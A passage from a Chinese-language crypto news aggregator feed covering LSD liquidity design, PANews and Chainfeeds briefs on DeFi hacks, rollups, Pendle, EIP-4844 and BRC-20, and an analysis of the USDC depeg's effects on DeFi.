Finance，其他协议想要继续挤占 Curve 的治理权非常困难。在未来流动性质押协议井喷的假设下，缺少先发优势的流动性质押协议发行的 LSD 资产需要依赖于一个门槛相对于 Curve 更低的流动性激励平台，如 Balancer 或者 ve(3,3) DEX。Sushiswap 对 Uniswap 的「吸血鬼攻击」已经是这个行业常见的商业模式，这意味在在 LSD 的流动性激励领域，可能会存在一个 DEX 对 Curve 发起类似的攻击。 当然上述场景仅仅建立在未来流动性质押协议多元化发展的基础上。 事实上流动性质押赛道非常类似于上个周期的稳定币赛道：赛道内部存在多个龙头，但龙头的存在并不会影响其他协议的发展，反而存在促进作用。以 DAI 为例，众多去中心化稳定币协议也会搭建起 DAI - stablecoin 流动性池。该流动性池的存在既丰富了该稳定币的流动性，也增加了 DAI 的应用场景，提高了 DAI 持有者的收益。在 LSD 领域，未来也可能出现类似的情况。由于 ETH staking 收益已经成为了链上的基准利率，ETH 的吸储成本显著增加，此时流动性质押协议通过各种流动性激励的方式吸引 ETH 与其发行的 LSD 资产配对并搭建流动性池可能会面临过高的成本。那么 stETH 在这个场景里就可以扮演类似于 DAI 的角色，其他 LSD 资产租借 stETH 在 Curve 的 ETH 流动池完成了自己流动性搭建的过程。 那么基于该思想可能会出现什么样的产品呢？Tokemak 的产品形态与上述情景非常契合。作为流动性引导协议的先驱，Tokemak 巧妙的将治理权以及流动性的分配权融合在一起。Curve 对每个 pool 都进行一定程度的 $CRV 流动性激励，收益由投票权决定，LP 风险自理，而 Tokemak 则是通过高收益吸收大量流动性资产，构建一个大的资金池，再通过治理权投票将大资金池的流动性资金分配给不同的协议，供其利用，总的资金风险由 Tokemak 协议承担。这种流动性分发的方式在牛市阶段是及其有效的，但当熊市来临、大资金池里的流动性资产被渐渐抽走时，Tokemak 就容易出现资不抵债的问题。其中的问题主要在于 Tokemak 内的资产是非稳定资产，其他协议通过治理权获得 Tokemak 大资金池的流动性后往往会拿去组 LP 搭建流动性。这部分 LP 也容易面临无常损失以及代币价格下跌的风险，从而造成借出流动性的亏空。 但在 LSD 的场景里，上述由于无常损失以及代币价格下跌造成的风险不会成为协议主要的风险来源。这是由于上述环节中吸收的资产储备是 stETH，项目方构建的 LP 也是 stETH - LSD，即所有的 LP 流动性均为 Like - Like assets lp，几乎不会产生无常损失，协议也就不太可能产生资不抵债的问题。 关于治理通证的设计上，治理权主要体现在大资金池的流动性分配上以及 DEX 的选择上。新晋流动性质押协议可以通过该协议获得 stETH 或者 ETH 作为其发行的 LSD 资产的流动性储备资产，供其在 DEX 上搭建 LP 交易对；另一方面治理权也可以选择将 LP 整合进哪一个 DEX 的 LP 池。因此就治理权的需求方而言，新晋流动性质押协议以及新晋 DEX 都存在持有协议治理通证的需求。 上述机制的前提在于吸储模式，即协议需要创造一个可以让 stETH 以及 ETH 持有者心甘情愿存入资产的场景。作为抵押品是一个场景，提供本息分离服务是一个场景，通过高收益吸引持有者也是一个方式。 构造高收益场景有两种方式： OHM 模式是吸储的一个典型旁式场景，其不可持续。从长远的角度看，依托贿选协议构造高收益场景才是吸储的最高的境界。而且在未来去中心化稳定币还需进一步竞争的情况下，服务于 LSD 的贿选协议也可以起到承上启下的作用。 那么此时我们就又回归到了 DeFi 收益的核心问题。当生息收益没有办法快速提高时，如何提高流动性收益则是 LSD 赛道应该关注的主要问题。由于稳定币与 LSD 资产在流动性属性上的相似性，该问题的答案也就隐藏在了过去稳定币的沉浮史中。 Reference https://docs.balancer.fi/concepts/pools/boosted#crucial-building-blocks-linear-pools https://docs.pendle.finance/ https://docs.tokemak.xyz/  ( 9 min )
    ParaSpace：资金已从BlockSec收回，正努力恢复cAPE与APE 1:1锚定
    PANews 3月19日消息，NFT借贷协议ParaSpace宣布资金已从BlockSec收回，正在重新平衡平台上的资金池，同时还在努力修补cAPE兑换，以恢复cAPE与APE 1:1锚定。此外，ParaSpace还表示正从合约方面着手实施安全性增强，包括大额提款请求的时间锁定提款等，正积极建立跨越所有时区的24/7 Solidity团队，从而实时监控合约交易，并将严重错误的错误赏金提至20万美元。 此前消息，ParaSpace协议的总损失大约是50-150枚ETH，因利用过程中代币之间交换的滑点造成。  ( 4 min )
    Gemini联创：美国银行体系是一个现代种姓制度
    PANews 3月19日消息，Gemini联合创始人Tyler Winklevoss在推特上表示，美国银行体系是一个现代种姓制度，只有获得头部银行服务的人才会受到保护。美国政府认为具有系统重要性的金融机构 (SIFI) 是“大到不能倒的银行”，而“价值不够高”的银行可能得不到保护。此外，美国政府认为硅谷银行的失败可能会引发灾难性的金融影响，因此不得不介入以挽救客户。  ( 4 min )
    RTFKT：Nike Air Force 1数字球鞋铸造定于4月24日进行
    PANews 3月19日消息，据官方消息，被耐克公司收购的加密潮牌RTFKT宣布Nike Air Force 1数字球鞋铸造定于4月24日进行并持续到5月8日，共推出10种设计款供选择。预锻造将在OpenSea和其他二级市场进行。铸造期间允许预铸造的RTFKT NFT持有者赎回实物鞋，预铸造的ERC-1155会在这个过程中被销毁，铸造后会向持有者发送一个“Forged” ERC-721，而且不会产生额外的铸造成本，NFT持有者只需支付gas费用。此外，实体球鞋预计将于2023年第四季度发货。RTFKT提醒用户，为防止欺诈，铸造仅在其官方进行。  ( 4 min )
    BTC DeGods已在一个比特币区块内售罄，将按照先到先得的方式发送铭文
    PANews 3月19日消息，Solana链上NFT项目DeGods在推特宣布，BTC DeGods已在一个比特币区块内售罄，该区块经过审查并将根据确认交易到达内存池的时间，按照先到先得的方式发送铭文。目前铸造成功的用户名单已发布，而未成功铸造的用户将会收到退款。  ( 4 min )
    美国中型银行联盟 (MBCA) 已要求FDIC在未来两年对所有存款提供保险
    PANews 3月19日消息，据彭博社报道，美国中型银行联盟 (MBCA) 已要求美国联邦监管机构在未来两年内对所有存款提供保险。MBCA已致信美国联邦存款保险公司（FDIC），声称为“所有存款”提供保险将“立即阻止小型银行的存款外流”。MBCA还指出，这一举动将稳定银行业，并显著降低更多银行倒闭的可能性。经济学家3月13日公布的一份分析报告显示，大量银行面临无保险存款的提款风险。此外，美联储于3月13日宣布，鉴于硅谷银行的“失败”，监管副主席Michael Barr正在“领导对硅谷银行的监管进行审查”，审查结果将于5月1日公布。  ( 4 min )
    Coinspect Security：已确定MyAlgo被攻击的根本原因，没有应用程序或代码库漏洞被利用
    PANews 3月19日消息，区块链安全公司Coinspect Security推特发文称，通过与Algorand钱包MyAlgo合作，已确定MyAlgo被黑客攻击的根本原因，即将官宣具体信息。与此同时，目前攻击不再活跃、没有应用程序或代码库漏洞被利用、没有浏览器功能（例如自动填充）被滥用、种子加密没有漏洞、开源MyAlgo组件不受影响。此外，攻击者解密种子是因为他们获得了密码，而不是由于加密漏洞。建议受影响的用户立即更改钱包密码，切勿重复使用，同时应警惕钓鱼诈骗。  ( 4 min )
    General Bytes加密货币ATM服务遭到攻击，损失约180万美元
    PANews 3月19日消息，据官方推特，General Bytes加密货币ATM服务在3月17和18号遭到攻击，攻击者利用系统里的上传接口上传并运行了恶意的Java程序，然后攻击者获得了服务器里数据库的权限和热钱包提币API Key。据慢雾MistTrack统计，损失大约180万美元。目前官方已发布事件公告和修复方案。据此前消息，General Bytes在2022年8月也遇到了安全事件，但官方没有披露是否有加密货币被盗。  ( 4 min )
    巴菲特与拜登政府进行多次对话，或将投资美国地区银行业
    PANews 3月19日消息，据彭博社报道，随着地区银行业危机的持续发酵，伯克希尔哈撒韦公司董事长巴菲特最近几天一直在与拜登政府的高级官员保持联系。据知情人士透露，拜登团队和巴菲特在过去一周进行了多次对话，内容主要集中在巴菲特可能以某种方式投资美国地区银行业，但巴菲特也就当前的动荡给出了更广泛的建议和指导。长期以来，巴菲特一直在帮助陷入危机的银行，利用他的投资地位和金融影响力来恢复人们对陷入困境公司的信心。2011年，美国银行因次级抵押贷款亏损导致股价暴跌后，获得了巴菲特的注资。2008年雷曼兄弟倒闭后，巴菲特还向高盛集团抛出了50亿美元的救命稻草，以支撑该银行。此外，美国监管机构上周末推出了非常措施来安抚客户，承诺将全额偿付破产银行中未投保的存款。由于担心危机会蔓延，地区性银行的股价本周继续下跌。  ( 4 min )
    路透社：瑞银为收购瑞信向政府寻求约60亿美元担保，一旦合并完成或将裁员1万人
    PANews 3月19日消息，据路透社援引知情人士的话称，瑞银集团正在寻求政府为其收购瑞信提供约60亿美元的担保。讨论仍在进行中，这一数字可能会发生变化。担保金将覆盖关闭瑞信部分业务所需的成本以及潜在的诉讼费用。其中一位消息人士称，解决瑞信信任危机的谈判遇到重大障碍，如果两家银行合并，可能不得不裁员1万人。瑞士监管机构正抓紧在周一开市前确定瑞信的解决方案，但合并两家银行的复杂性使谈判可能将持续至周日。  ( 4 min )
    数据：过去一周Circle USDC流通量减少65亿美元
    PANews 3月19日消息，据官方数据，3月10日至3月17日期间，Circle共发行22亿美元USDC，赎回87亿美元USDC，流通量减少约65亿美元。截至3月17日，USDC总流通量为369亿美元，储备量为371亿美元，其中现金81亿美元，短期美国国债290亿美元。  ( 4 min )
    数据：超过5年未活跃的比特币供应占比创历史新高
    PANews 3月19日消息，Glassnode数据显示，超过5年未活跃的比特币供应占比达到28.441%，创历史新高。  ( 4 min )
    彭博社：币安回应美国参议员批评，但未提及财务问题
    PANews 3月19日消息，据彭博社报道，币安在回应美国参议员的批评时没有提及财务问题。3月1日，参议院银行委员会的三名参议员写信给币安和Binance US，称币安及其相关实体故意逃避监管机构，将资产转移给犯罪分子，并向客户和公众隐藏基本财务信息。三名参议员还要求提供有关币安与Binance US之间关系的信息。他们要求币安在3月16日之前做出回应。币安在3月16日的回复中并没有提供太多信息，而是强调了币安及其美国分支机构是独立的实体。回复中还指出，币安拥有一支约750人的核心和辅助合规人员团队，其中包括多名前监管和执法官员。  ( 4 min )

  • Open

    Foresight Ventures：LSD 产品与 DeFi 生态的整合
    Chainfeeds 导读： 未来几年，在可预计的范围内，仍有约 1800 万枚 ETH 待质押，其中至少约有 1/3 的 ETH 会采用流动性质押的方式。Foresight Ventures 研究员 Kylo 撰文概述了上海升级会带来的 LSD 赛道基本面变化及 LSD 赛道与 DeFi 生态整合未来的发展重心。 文章来源： https://mp.weixin.qq.com/s/qbM4ygtvfdoPcJvlgdTh0Q 文章作者： Kylo（Foresight Ventures） 观点： Kylo（Foresight Ventures）：LSD 生息属性与 DeFi 的整合：1）作为借贷协议的抵押品：用户可以通过该方式获取杠杆，对于机构而言可以实现关于 ETH 质押的循环收益；2）LSD 资产的本息分离以及利率产品：链上本息分离常用的方式在于将一份浮动利率 Yield Bearing Assets 分割成零息债券以及未来收益的折现，用户可以利用本息分离协议其可以在无清算风险的情况下扩大自己的杠杆。 内容来源 Kylo（Foresight Ventures）：上海升级带来的 LSD 价格的稳定性意味着该资产有机会成为链上 ETH 的替代品，其硬通货属性会在链上给予 LSD 资产类似于 Curve 的 3crv lp 和 Balancer 的 bb-a-USD 一样的流动性属性。作为一项重要的流动性资源，LSD 将继承 3crv lp 和 bb-a-USD 的使命，成为链上流动性池的必备资产。这意味着 LSD 的吸储以及分发将成为 LSD 赛道很重要的一环。 内容来源 Kylo（Foresight Ventures）：目前 LSD 资产的主要收益来自于 ETH 质押收益、协议对于 LSD 资产的流动性激励及 LSD 资产的 swap fee。后两者则是 LSD 的流动性属性。 LSD 的生息收益是存在差异的，主要在于该 LSD 资产类别背后的验证者节点的稳定性差异。当生息收益没有办法快速提高时，如何提高流动性收益则是 LSD 赛道应该关注的主要问题。 内容来源  ( 34 min )
    【英文】Rollup 完全指南：去中心化排序器、X-Chain 原子性、Rollup MEV......
    Chainfeeds 导读： 加密基金 DBA 联创 Jon Charbonneau 撰文对 Rollup 进行了分析研究，包括工作原理、去中心化排序器及可选共识机制、共享序列器及 X-Chain 原子性、MEV 设计及未来 Rollup 会面临的挑战等内容。 文章来源： https://joncharbonneau.substack.com/p/rollups-arent-real 文章作者： Jon Charbonneau 观点： Jon Charbonneau：排序器一般负责将交易分批发布至 L1 智能合约上，不同的排序器设计能做的事情是提供比 L1 区块更快的预先确认，并伴随着不同程度的确定性。基本而言就是交易终局性有不同的层次，这取决于承诺的来源及 Rollup 结构。而不同的行为这在给定的时间对「Truth」有不同程度的认知，例如 L2 轻型客户端、完整节点及智能合约。【原文为英文】 内容来源 Jon Charbonneau：共享排序器：很多 Rollup 可以选择进入一个共享排序器，这带了很多优势，包括无需招募和管理验证者集合、能够为一个排序层构建强大的经济安全和实时 CR，而非为每个单独的 Rollup 构建小委员会、且能够快速交易、能够在链 A 和链 B 上同时执行交易。但其也存在一些缺点，例如仍然受限于 L1 的数据和事务排序吞吐量及失去了给 L2 用户提供低于 L1 区块时间的快速交易能力。【原文为英文】 内容来源 Jon Charbonneau：未来当 Rollup 逐步走向成熟时，也会面临很多挑战：1）随着排序器的去中心化，该如何与交易供应链的不同部分进行交互？什么类型的拍卖应该插入去中心化排序器组？2）交易费用机制：多维资源定价和状态定价；3）L2 费用市场；4）ZK 证明市场：如何正确激励去中心化和无权限 ZK 证明市场；5）Rollup 商业模式：Rollup 代币和构建团队该如何积累价值并实现可持续性；6）可升级型和治理：保持灵活性的同时实现去中心化并减少信任假设；7）欺诈和 ZK 证明。【原文为英文】 内容来源  ( 91 min )
    【长推】深入浅出：算例解析 Pendle 机制，或将迎来「复苏」时刻？
    Chainfeeds 导读： 加密研究者 CapitalismLab 使用实际算例对利率互换平台 Pendle 的机制进行了解析，并分析了 LSD / GLP 等生息资产爱好者该如何使用 Pendle 更好获利。 文章来源： https://twitter.com/NintendoDoomed/status/1637025920102940672 文章作者： CapitalismLab 观点： CapitalismLab：Pendle 是一个利率互换平台，简而言之就是：将一份生息资产（SY）在一定时间段内的本金（PT）和利息（YT）拆开，PT / YT 由内置 AMM 定价 ，算法参数决定 AMM 的流动性曲线，自由市场进行最终定价。SY 转换为 PT 则可以在一定期限内锁定利率，而 YT 则是加杠杆赌利率上涨的赌具。 内容来源 CapitalismLab：YT/PT 如何定价和交易？Pendle 内置一个 PT/SY 的 AMM，允许外部参与者提供流动性，用户交易 PT 通过这个 AMM 交易即可。Pendle AMM 如何定价？1）到期时间越长，流动性分布越宽。到期时间越短，流动性越集中；2）流动性集中点在 SY 当前实际 APY 的位置；3）PT 占比在 10%-90% 区间波动时，利率在 [0,Max] 区间波动，MAX 为设定参数，预估最大 APY。 内容来源 CapitalismLab：Pendle 代币核心捕获模式为：PT/YT 的交易费、YT 利息及 ve-tokenomics。其收入合计为 140000，相对而言比较少，所以未来还需要关注其 bribe 能否发展起来。此外 PT 当前由于价格较高，赌性弱了些。 内容来源  ( 2 min )
    【英文】EIP-4844 费用市场分析、回测及改进想法
    Chainfeeds 导读： EIP-4844 为以太坊引入了两个重要组件：新的交易格式及新的数据 Gas 费用市场。以太坊研究员 davidecrapis.eth 对数据 Gas 费用市场及其关键参数进行了研究，包括对 EIP-4844 和 EIP-1559 费用机制的讨论、根植于模拟和历史数据的回测分析及对当前设置的潜在改进想法。 文章来源： https://ethresear.ch/t/eip-4844-fee-market-analysis/15078 文章作者： davidecrapis.eth 观点： davidecrapis.eth：EIP-4844 中的数据 Gas 收费机制根植于 EIP-1559，引入了类似的自适应规则、可持续目标和区块限制结构。其最重要的创新是向以太坊多维资源定价卖出了第一步，将 blob 数据资源从标准 Gas 计量中分离出来，并根据 blob 供应 / 需求获得自己的动态价格。但需要注意的是，这知识数据资源的部分解绑，标准交易的价格仍然和以前一样。【原文为英文】 内容来源 davidecrapis.eth：使用 Arbitrum 及 Optimism 实际需求回测后得出的五点结论：1）L2 的需求结构与用户需求不同，L2 在以太坊上运行的是资源密集型业务，需求没有弹性，L1 成本为其主要运营成本；2）目前 L2 对 blob 数据的预计需求比可持续目标低 10 倍，需要 1 至 2 年才能达成；3）在达到可持续目标需求前，数据 Gas 价格将保持在接近最低点的水平；4）在达到可持续目标需求后，数据 Gas 价格将呈现指数级增长。【原文为英文】 内容来源 davidecrapis.eth：改进想法：1）设定一个更高的最低价格：能够设定正确期望值、抑制垃圾邮件，并且在当前条件下是一个公平的价格；2）为数据 Gas 设置一个较低的区块目标：虽然不会解决冷启动阶段的垃圾邮件和错误期望，但能够将冷启动阶段时间缩减一半；3）不进行任何改进，可能会基尼系那个自我纠正以缩短冷启动阶段，但是并不确定发生时间。【原文为英文】 内容来源  ( 12 min )
    【长推】BRC-20 是什么？它将对 BTC 产生何种影响？
    Chainfeeds 导读： BRC-20 是一种基于比特币网络的代币标准，类似于以太坊网络中的 BRC-20 标准，由加密 KOL domo 于 2023 年 3 月 8 日创建，利用 JSON 数据的 Ordinal inscriptions 来部署代币合约、铸造代币和转移代币。加密研究员 WaTell 对 BRC-20 的特点及影响进行了分析。 文章来源： https://twitter.com/0xWatell/status/1637014644425641985 文章作者： WaTell 观点： WaTell：通过 BRC-20 标准，现在每个人都可以像在以太坊生态上那样，在比特币网络上发行代币，但目前 BRC-20 代币只是一个实验。这听起来很有想象力，其中就有第一个 BRC-20 代币：ordi。Unisat Wallet 等 Ordinal 钱包迅速部署、支持了 BRC-20。 内容来源 WaTell：在 18 小时内， ordi 全部铸造完成，另外还有 1,500,000 个不在限制范围内的 ordi 代币正在等待铸造。Unisat Wallet 基于 BRC-20 代币的部署工具还促进了许多 meme 币的诞生。但也并非是所有人都对这一创新感到欣喜，许多比特币的支持者因为 BRC-20 大幅增加了比特币的交易费用而感到懊恼。 内容来源 WaTell：BRC-20 代币的主要特点有：1）可以使用比特币网络进行转移和交易，但是与比特币本身的价值无关；2）可以在支持比特币网络的钱包和交易所进行存储和交易；3）规定了代币合约的基本要素，包括代币名称、符号、总供应量、小数点位数等；4）可以用于各种应用场景，例如 DEX、数字资产支付等。 内容来源  ( 2 min )
    【英文】Nomad 创始人：为什么说 Rollup 不是扩展解决方案？
    Chainfeeds 导读： Rollup 增加了 L1 的吞吐量和功能，但它并不是一个扩展解决方案，因为验证一个 Rollup 的成本更高。本文由 Nomad 创始人 James Prestwich 和 Optimism 的 Mark Tyneway 共同撰写，主要概述了 Rollup 的概念、分类及权衡。 文章来源： https://prestwich.substack.com/p/what-are-rollups 文章作者： James Prestwich 及 Mark Tyneway 观点： James Prestwich：过去十年里，我们设计了很多吞吐量解决方案，例如比特币闪电通道、以太坊的分片及状态通道等，但很少被部署。Rollup 是一类拟议的吞吐量解决方案，减轻了在链上运行所有状态装换的需要。其关键设计元素包括 Rollup 节点依靠主链安排状态更新、Rollup 节点依靠宿主链提供历史、主链共识不跟随 Rollup 状态等。【原文为英文】 内容来源 James Prestwich：与侧链不同，Rollup 拥有与主链拥有相同的数据可用性保证，且与通道相比，任何人都可以在运行中加入 Rollup，而与分片而言，Rollup 是动态的。Fuel Rollup 是基于 UTXO 的，但是托管在一个基于账户的链上，Optimism 和 Arbitrum 虚拟机反映了 EVM 状态模型且被欺诈证明保护，Matter Labs 的 zkSync 使用其账户模型，每个状态更新都包括零知识有效性证明。【原文为英文】 内容来源 James Prestwich：Rollup 的优势在于对共识集的划分，这样一组较小的节点也可以改变状态和规则验证以增加吞吐量。但 Rollup 具有更高的节点成本，因为 Rollup 要求验证者在主链上运行一个完整的节点。对于没有运行完整节点的用户而言，Rollup 的使用体验和以太坊类似，但用户必须支付将验证器和主链全节点进行同步的成本，并需要进行等待。特殊情况下，可能会导致用户资金无法访问直到同步一个节点。【原文为英文】 内容来源  ( 19 min )
    币安已更新 Binance Launchpad 每日 BNB 持仓计算机制，于北京时间 2023 年 3 月 18 日 生效
    币安已更新 Binance Launchpad 每日 BNB 持仓计算机制，于北京时间 2023 年 3 月 18 日 生效 币安已更新 Binance Launchpad 每日 BNB 持仓计算机制，于北京时间 2023 年 3 月 18 日 08:00 生效。币安表示，调整原因在于发现部分用户使用多个账户测试快照逻辑，并在其他平台大额借贷 BNB，进行高频的 BNB 资产充提，使得该部分用户在 Launchpad 项目获得大量 BNB 持仓统计数量。更新后按照随机时间进行多次快照，此外该更新只适用于用户参与 Binance Launchpad，用户的 VIP 级别或推荐返佣计划将不受新规则的影响。 内容来源  ( 37 min )
    Microsoft Edge 即将推出内置非托管加密钱包
    Microsoft Edge 即将推出内置非托管加密钱包 据 Bleeping Computer 报道，Microsoft Edge 即将推出非托管加密钱包，允许用户发送和接收加密货币和 NFT。该钱包将内置于 Edge 浏览器中，且无需安装任何扩展软件。且该钱包还可以连接至去中心化应用程序中，并有一个新闻板块能够追踪加密货币最近进展。且微软已经与 Consensys 合作并支持 ETH、DAI、UNI、USDC 和 USDT 之间的互换功能。此外，Bleeping Computer 表示，作为有限测试阶段的一部分，该钱包可能只对微软 Edge 开发者频道用户开放。 内容来源 观点： Albacore：该钱包可与 Coinbase、MoonPay 集成以购买加密货币。【原文为英文】 内容来源  ( 8 min )

  • Open

    PA图说 | 一图掌握以太坊上NFT关键数据（2023.03.18）
    NFT日报全新升级，增加更多新维度，NFT交易时可更全面细致参考！ PANews APP 2.0全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 4 min )
    Zhu Su：近期加密行业大多数错误是由于引入“影子银行”等传统观念
    PANews 3月18日消息，三箭资本创始人Zhu Su在推特上表示，近期加密货币行业的大多数错误是由于引入tradfi想法所导致，例如“影子银行”和“流程内部化”等传统观念，下一轮牛市将由意识到这些问题的人推动，而底层加密基础设施本身是一种新的范式。  ( 4 min )
    Ark Invest周五通过两支基金增持约5.9万股Block股票（约430万美元）
    PANews 3月18日消息，据The Block报道，Cathie Wood旗下Ark Investment Management增持约5.9万股Block股票。其中，Ark Innovation ETF（ARKK）购买50858股，Ark Next Generation Internet ETF（ARKW）购买8064股，这些股票合计价值约430万美元。  ( 4 min )
    DeGods：BTC网络DeGods NFT已铸造完成
    PANews 3月18日消息，NFT项目DeGods在推特上宣布，500枚BTC DeGods已铸造完成，所有退款均已发送，并正式上线DeGods Trading Desk，用户可在DeGods Discord进行二级市场交易，目前支持使用BTC、ETH、SOL或USDC。 此前3月16日消息，DeGods将在比特币网络推出新系列NFT。  ( 4 min )
    消息人士：华尔街投行Jefferies正在与潜在的FTX竞购方接触，希望重启FTX
    PANews 3月18日消息，FTX债权人士在推特上透露，华尔街投行Jefferies正在与潜在的FTX竞购方接触，希望重启FTX。对此Zhu Su回应称：“FTX 2.0将盘活资本，并给那些资本被困住的人第二次机会”。  ( 4 min )
    Euler攻击者开始返还资金，目前已返还3000枚ETH
    PANews 3月18日消息，安全公司BlockSec监测的数据显示，Euler攻击者开始返还资金，目前已返还3000枚ETH。此前消息，借贷协议Euler Finance遭到攻击，损失已达1.97亿美元。  ( 4 min )
    数据：ARK基金2月1日至今共减持约29.7万股GBTC
    PANews 3月18日消息，ARK方舟基金持仓数据显示，2022年2月1日至今，ARK基金共减持约29.7万股灰度GBTC，价值约457.77万美元。  ( 4 min )
    USDC脱锚对DeFi的未来影响
    事件概要 3月10日星期五，拥有2090亿美元资产的硅谷银行 (SVB) 被监管机构关闭，这是自全球金融危机以来最大的银行倒闭事件。与抵押品风险管理不善导致的全球金融危机银行倒闭不同，SVB倒闭是由于美联储面临高通胀，导致利率迅速上升，加剧了久期风险管理不善。当银行长期锁定过多资金用于投资而无法满足短期存款取款需求时，就会产生久期风险。一旦银行的情况在社交媒体上传播，储户就会争先恐后地提取存款，导致银行挤兑，最终银行被 FDIC 接管。 Circle是DeFi最常用的稳定币之一USDC背后的公司，在SVB持有约 33 亿美元的现金储备。虽然这些资金约占USDC 400亿美元储备的8%，但它们显然是流动性最强的（大部分储备由纽约梅隆银行持有）。USDC 持有者担心Circle满足赎回请求的能力可能会受到严重影响。结果，USDC持有者迅速逃离，导致CEX的存款水平创历史新高，并导致DeFi内部出现流动性紧缩。 最终，Coinbase暂停了USDC到USD的兑换，因为USDC的价格偏离了1.00美元的挂钩汇率。USDC需求的快速下降导致价格在周六早上下跌超过13%至0.87美元的低点，然后当Circle确保赎回通常在周一进行时，价格最终回升至0.95-0.97美元。随着美国政府宣布所有 SVB 储户将全部兑付时，USDC 的价格终于恢复1美元的锚定价格。 尽管脱钩事件是由于担心USDC的存款储备而引起的，但DeFi加剧了波动性。最大的 USDC DEX矿池之一是Curve 3pool，它假设其中的三个稳定币都应该是1.00美元。然而，当脱钩时，集中的流动性机制和激励措施会迅速导致价格进一步下跌。此外，在 DeFi的其他领域中，USDC非常值得信赖，协议硬编码了1.00美元的假设。最值得注意的是Maker的锚定稳定模块 (PSM)，它支持DAI锚定。凭借硬编码的USDC价格，Maker和DAI吸收了大量风险和波动性，因为套利者能够利用价格差异向PSM转移超过20亿美元的USDC，使Maker持有的USDC增加了一倍以上。 虽然Circle的33亿美元SVB存款可能会恢复，但对DeFi的影响将在未来几个月内持续。对于投资者而言，需要关注的关键领域是： 稳定币供应：大部分USDC在哪里，哪些生态系统和协议暴露最多？ 流动性：使用USDC进行掉期和货币流动有多容易？自脱钩事件以来，流动性如何下降？ 杠杆和清算：押注重新建立挂钩汇率的杠杆率是多少，级联清算会在什么价格水平进一步压低 USDC 价格？ 以太坊是USDC的主要生态系统，占400亿美元供应量中的380亿美元。自USDC脱钩事件以来，以太坊外部所有地址 (EOA) 已售出超过40亿美元的USDC，导致EOA持有的余额创下 12 个月新低。 EOA持有者释放的供应量主要被CEX吸收，因为在过去14天内交易所持有的余额增加了近50%。这约占EOA向市场倾销的供应量的一半。另一半分布在DeFi中，即在 DEX 池和借贷市场中，持有人在这些市场中寻求没有市场风险或depeg风险的代币。例如，如前所述，Maker的PSM有近20亿美元的USDC流入，而Curve的3pool有16亿美元的流入，因为持有者换成了其他更有利的代币。 在以太坊之外，由于USDC持有者逃离USDC和链生态系统，替代的Layer-1s (L1s) 供应量大幅下降。然而，以太坊的第2层 (L2) 生态系统在 depeg 事件期间经历了 USDC 的涌入，这表明与其他新兴生态系统相比，L2拥有更有利的用户粘性以及流动性。 Arbitrum 现在是仅次于以太坊的 USDC 的第二大生态系统，继 depeg 事件期间其他链的供应变化之后。在过去的两周里，Arbitrum 的 USDC 流入量约为 5000 万美元，而 Solana、Polygon 和 Avalanche 等生态系统同期的流出量约为 50 至 1.5 亿美元。在过去的一个月里，Arbitrum 一直保持着主要生态系统中最高的 TVL 增长率（变化率），这表明相关活动不断增加。 虽然 USDC 供应从 EOA 钱包流入 DeFi 协议和不断发展的生态系统似乎是一个可管理的流动性环境，但在周末，情况并非如此。 USDC 位于 DeFi 的中心。两个核心 DEX 池是 Curve 3pool 和 Uniswap ETHUSDC 5 bps 池。 USDC 也是 Aave 和 Compound 等货币市场上流动性最强的稳定币，并且占据 DAI 抵押品中的大部分。因此，USDC 维持其挂钩和可用流动性对 DeFi 运营至关重要。 然而，一旦挂钩确实发生，DeFi 就开始出现裂痕。在 DEX 上，USDC被 LP 和用户放弃。 3pool 有 16 亿美元的 USDC 流入，对应于 USDT 的类似流出。最终，由于 USDT 的份额从池流动性的三分之一以上下降到近 1%，池中的 USDT 几乎被耗尽。 Uniswap 也出现了类似的结果。主要的 USDC USDT 池中的 USDT 也被抽干，因为 99% 或 3100 万美元的 USDT 被交易或从池中提取。 由于所有逃离 USDC 的活动以及由此产生的套利机会，DEX 创造了有史以来交易量最高的日子之一。 3 月 11 日的交易额接近 250 亿美元，创下新高。 Uniswap 占 DEX 总交易量的一半多一点（120 亿美元），而 Curve 的 80 亿美元交易量占了另一大部分。 然而，随着所有理想的交易对手流动性都被耗尽，剩余的 USDC 持有者几乎没有办法在没有市场风险或严重滑点的情况下卖出USDC。在 CEX 之外退出的唯一其他场所是货币市场和债务协议，如 Maker。 与 DEX 类似，货币市场很快就看到像 USDT 这样的理想资产几乎全部被借入。这大大提高了 USDT 在 Aave 市场的 APR， 达到 70-90% 的利用率。​ 加剧流动性问题的是，Aave 和 Compound 都制定了紧急治理参数更改，以在 USDC 继续脱钩的情况下保护协议免受坏账的影响。 Aave 最终冻结了 V3 Avalanche 部署中的稳定币市场，因为它迄今为止通过 V3 的效率模式最容易受到稳定币对偏差的影响。同样，Compound 在其 V2 协议中冻结了 USDC 的新存款，以减少引入新的潜在坏账。 虽然 Aave 和 Compound 是 USDC 的大市场，分别为 1.2 亿美元和 6 亿美元，但 Maker 迄今为止拥有 44 亿美元 USDC 的债务协议。然而，大部分 USDC 都被锁定在 PSM 中，PSM 的功能更类似于 DEX 而不是债务协议，因为它支持 DAI 和 USDC 之间的 1:1 交换。 PSM 设计有效地假设 USDC 价值 1.00 美元，当脱钩时，PSM 成为 USDC 的倾销场，吸收了近 20 亿美元的 USDC。为了限制潜在风险并激励其他稳定机构，如 USDP，Maker 进行了紧急投票，以抑制 USDC 在 PSM 中的使用，并暂停使用 USDC 作为抵押品来铸造 DAI。目前，Maker 承担了盲目接受 USDC 进入 PSM 的巨大风险，现在锚定已经恢复，Maker 有额外的 20 亿美元 USDC，一旦市场情况得到充分明确，它可以从中寻求收入。 虽然像 USDT 这样理想的稳定币的借贷利率飙升，但还有另一阵营的参与者认为挂钩会迅速恢复并使用链上货币市场来押注USDC。这些交易员持有大量杠杆USDC和 DAI 的头寸，其清算点接近交易价格。 超过 6600 万美元的 DAI 和 USDC 在 3 月 12 日的交易价格的 10% 以内可清算。如果脱钩继续恶化，那么随着清算的到来，这些头寸将导致价格迅速下跌。然而，在 Circle的保证和政府的行动下，有效恢复了挂钩，这些头寸为承担风险获得了可观利润。 ​通过本周末的事件，我们可以发现 DeFi 过度依赖 USDC。然而，问题不在于 USDC，而在于 DeFi 协议中采用的严格的机械假设。假设 USDC 或一揽子价格始终等于 1 美元的协议对 USDC 或一揽子价格进行硬编码。这样的假设，正如事件所证明的那样，并不总是成立。 我们应该着眼于构建足够机动以能够响应市场条件的假设最小化的 DeFi 协议。 例如，Gyroscope 协议，是一个新的稳定币项目，表达了对动态设计的这种需求。该协议使用一种称为动态稳定机制（DSM）的挂钩稳定机制，这是 Maker 对刚性 PSM 的理论上的改进。实际上，DSM 将 